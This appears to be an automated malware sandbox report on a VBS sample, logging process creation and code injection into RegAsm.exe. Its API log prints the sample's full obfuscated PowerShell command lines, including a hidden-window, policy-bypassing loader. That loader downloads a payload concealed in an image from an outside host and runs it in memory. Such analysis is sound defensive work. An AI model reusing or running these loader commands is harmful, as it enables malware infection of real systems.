option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window

Executed a process and injected code into it, probably while unpacking (33 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Oct. 23, 2023, 1:12 p.m.	thread_identifier: 1376 thread_handle: 0x00000330 process_identifier: 1776 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVQBymcURONçuXSGwmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwBomcURONçuXSHQmcURONçuXSdmcURONçuXSBwmcURONçuXSHMmcURONçuXSOgmcURONçuXSvmcURONçuXSC8mcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSHUmcURONçuXScmcURONçuXSBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSC4mcURONçuXSaQBvmcURONçuXSC8mcURONçuXSaQBimcURONçuXSC8mcURONçuXSdwBzmcURONçuXSDgmcURONçuXSTQBBmcURONçuXSEomcURONçuXSNgBlmcURONçuXSHmcURONçuXSmcURONçuXSdmcURONçuXSBpmcURONçuXSEwmcURONçuXSZgBHmcURONçuXSHUmcURONçuXSXwmcURONçuXSxmcURONçuXSDYmcURONçuXSOQmcURONçuXS3mcURONçuXSDcmcURONçuXSMwmcURONçuXS4mcURONçuXSDQmcURONçuXSOQmcURONçuXSymcURONçuXSC4mcURONçuXSagBwmcURONçuXSGcmcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXSdwBlmcURONçuXSGImcURONçuXSQwBsmcURONçuXSGkmcURONçuXSZQBumcURONçuXSHQmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSTgBlmcURONçuXSHcmcURONçuXSLQBPmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSTgBlmcURONçuXSHQmcURONçuXSLgBXmcURONçuXSGUmcURONçuXSYgBDmcURONçuXSGwmcURONçuXSaQBlmcURONçuXSG4mcURONçuXSdmcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSHcmcURONçuXSZQBimcURONçuXSEMmcURONçuXSbmcURONçuXSBpmcURONçuXSGUmcURONçuXSbgB0mcURONçuXSC4mcURONçuXSRmcURONçuXSBvmcURONçuXSHcmcURONçuXSbgBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSEQmcURONçuXSYQB0mcURONçuXSGEmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBVmcURONçuXSHImcURONçuXSbmcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSumcURONçuXSEUmcURONçuXSbgBjmcURONçuXSG8mcURONçuXSZmcURONçuXSBpmcURONçuXSG4mcURONçuXSZwBdmcURONçuXSDomcURONçuXSOgBVmcURONçuXSFQmcURONçuXSRgmcURONçuXS4mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSUwB0mcURONçuXSHImcURONçuXSaQBumcURONçuXSGcmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBCmcURONçuXSHkmcURONçuXSdmcURONçuXSBlmcURONçuXSHMmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBTmcURONçuXSFQmcURONçuXSQQBSmcURONçuXSFQmcURONçuXSPgmcURONçuXS+mcURONçuXSCcmcURONçuXSOwmcURONçuXSkmcURONçuXSGUmcURONçuXSbgBkmcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBFmcURONçuXSE4mcURONçuXSRmcURONçuXSmcURONçuXS+mcURONçuXSD4mcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBUmcURONçuXSGUmcURONçuXSemcURONçuXSB0mcURONçuXSC4mcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSE8mcURONçuXSZgmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXSZQBumcURONçuXSGQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSTwBmmcURONçuXSCgmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBGmcURONçuXSGwmcURONçuXSYQBnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSHMmcURONçuXSdmcURONçuXSBhmcURONçuXSHImcURONçuXSdmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSZQmcURONçuXSgmcURONçuXSDmcURONçuXSmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSCsmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSLgBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSYgBhmcURONçuXSHMmcURONçuXSZQmcURONçuXS2mcURONçuXSDQmcURONçuXSTmcURONçuXSBlmcURONçuXSG4mcURONçuXSZwB0mcURONçuXSGgmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBzmcURONçuXSHQmcURONçuXSYQBymcURONçuXSHQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSDsmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBTmcURONçuXSHUmcURONçuXSYgBzmcURONçuXSHQmcURONçuXScgBpmcURONçuXSG4mcURONçuXSZwmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSQwBvmcURONçuXSG4mcURONçuXSdgBlmcURONçuXSHImcURONçuXSdmcURONçuXSBdmcURONçuXSDomcURONçuXSOgBGmcURONçuXSHImcURONçuXSbwBtmcURONçuXSEImcURONçuXSYQBzmcURONçuXSGUmcURONçuXSNgmcURONçuXS0mcURONçuXSFMmcURONçuXSdmcURONçuXSBymcURONçuXSGkmcURONçuXSbgBnmcURONçuXSCgmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSGwmcURONçuXSbwBhmcURONçuXSGQmcURONçuXSZQBkmcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSUgBlmcURONçuXSGYmcURONçuXSbmcURONçuXSBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBpmcURONçuXSG8mcURONçuXSbgmcURONçuXSumcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQBdmcURONçuXSDomcURONçuXSOgBMmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSCgmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSB0mcURONçuXSHkmcURONçuXScmcURONçuXSBlmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSbmcURONçuXSBvmcURONçuXSGEmcURONçuXSZmcURONçuXSBlmcURONçuXSGQmcURONçuXSQQBzmcURONçuXSHMmcURONçuXSZQBtmcURONçuXSGImcURONçuXSbmcURONçuXSB5mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSVmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSomcURONçuXSCcmcURONçuXSRgBpmcURONçuXSGImcURONçuXSZQBymcURONçuXSC4mcURONçuXSSmcURONçuXSBvmcURONçuXSG0mcURONçuXSZQmcURONçuXSnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSG0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSdmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSumcURONçuXSEcmcURONçuXSZQB0mcURONçuXSE0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCgmcURONçuXSJwBWmcURONçuXSEEmcURONçuXSSQmcURONçuXSnmcURONçuXSCkmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSdgBvmcURONçuXSGsmcURONçuXSZQmcURONçuXSomcURONçuXSCQmcURONçuXSbgB1mcURONçuXSGwmcURONçuXSbmcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSWwBvmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBbmcURONçuXSF0mcURONçuXSXQmcURONçuXSgmcURONçuXSCgmcURONçuXSJwBkmcURONçuXSEgmcURONçuXSamcURONçuXSmcURONçuXSwmcURONçuXSEwmcURONçuXSbgBomcURONçuXSHmcURONçuXSmcURONçuXSYgBpmcURONçuXSDgmcURONçuXSemcURONçuXSBOmcURONçuXSFMmcURONçuXSNmcURONçuXSB6mcURONçuXSE0mcURONçuXSeQmcURONçuXS0mcURONçuXSHkmcURONçuXSTgBDmcURONçuXSDQmcURONçuXSegBPmcURONçuXSFQmcURONçuXSRQB2mcURONçuXSEwmcURONçuXSegBwmcURONçuXSHcmcURONçuXSZmcURONçuXSBImcURONçuXSFImcURONçuXSbwmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSZmcURONçuXSBmmcURONçuXSGQmcURONçuXSZgBkmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGEmcURONçuXSZmcURONçuXSBzmcURONçuXSGEmcURONçuXSJwmcURONçuXSgmcURONçuXSCwmcURONçuXSImcURONçuXSmcURONçuXSnmcURONçuXSGQmcURONçuXSZQmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSYwB1mcURONçuXSCcmcURONçuXSKQmcURONçuXSpmcURONçuXSmcURONçuXS==';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('mcURONçuXS','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000338	1	1
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x00000298 suspend_count: 1 process_identifier: 1776	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x000002ec suspend_count: 1 process_identifier: 1776	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x00000438 suspend_count: 1 process_identifier: 1776	1	0
CreateProcessInternalW Oct. 23, 2023, 1:12 p.m.	thread_identifier: 2356 thread_handle: 0x0000043c process_identifier: 2364 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lnhpbi8xNS4zMy4yNC4zOTEvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))" filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 1 process_handle: 0x00000440	1	1
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x00000484 suspend_count: 1 process_identifier: 1776	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x000002a8 suspend_count: 1 process_identifier: 2364	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x000002fc suspend_count: 1 process_identifier: 2364	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x00000450 suspend_count: 1 process_identifier: 2364	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x00000574 suspend_count: 1 process_identifier: 2364	1	0
CreateProcessInternalW Oct. 23, 2023, 1:12 p.m.	thread_identifier: 1228 thread_handle: 0x00000368 process_identifier: 1684 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000370	1	1
NtGetContextThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x00000368	1	0
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1684 region_size: 270336 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000370	1	0
WriteProcessMemory Oct. 23, 2023, 1:12 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELDO2eà¦Å à@ @<ÅOàF H.text¥ ¦ `.rsrcFà¨@@.reloc®@B base_address: 0x00400000 process_identifier: 1684 process_handle: 0x00000370	1	1
WriteProcessMemory Oct. 23, 2023, 1:12 p.m.	buffer: base_address: 0x00402000 process_identifier: 1684 process_handle: 0x00000370	1	1
WriteProcessMemory Oct. 23, 2023, 1:12 p.m.	buffer: P8h à¼\ãê¼4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°StringFileInfoø000004b0,FileDescription 0FileVersion1.0.0.0t)InternalName98aa8859-73e7-4b0e-9b21-933e1db5e26f.exe(LegalCopyright \|)OriginalFilename98aa8859-73e7-4b0e-9b21-933e1db5e26f.exe4ProductVersion1.0.0.08Assembly Version1.0.0.0ï»¿<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x0043e000 process_identifier: 1684 process_handle: 0x00000370	1	1
WriteProcessMemory Oct. 23, 2023, 1:12 p.m.	buffer: À5 base_address: 0x00440000 process_identifier: 1684 process_handle: 0x00000370	1	1
WriteProcessMemory Oct. 23, 2023, 1:12 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 1684 process_handle: 0x00000370	1	1
NtSetContextThread Oct. 23, 2023, 1:12 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4441486 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000368 process_identifier: 1684	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x00000368 suspend_count: 1 process_identifier: 1684	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x000003bc suspend_count: 1 process_identifier: 2364	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x00000178 suspend_count: 1 process_identifier: 1684	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x000001e8 suspend_count: 1 process_identifier: 1684	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x0000022c suspend_count: 1 process_identifier: 1684	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x000002d8 suspend_count: 1 process_identifier: 1684	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x0000033c suspend_count: 1 process_identifier: 1684	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x000003b0 suspend_count: 1 process_identifier: 1684	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x000003e8 suspend_count: 1 process_identifier: 1684	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x00000530 suspend_count: 1 process_identifier: 1684	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x00000608 suspend_count: 1 process_identifier: 1684	1	0
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x000003ac suspend_count: 1 process_identifier: 1684	1	0
NtResumeThread Oct. 23, 2023, 1:13 p.m.	thread_handle: 0x0000038c suspend_count: 1 process_identifier: 1684	1	0
NtResumeThread Oct. 23, 2023, 1:13 p.m.	thread_handle: 0x00000704 suspend_count: 1 process_identifier: 1684	1	0

The processes wscript.exe, powershell.exe wrote an executable file to disk which it then attempted to execute (20 events)

file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

nicko.vbs

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All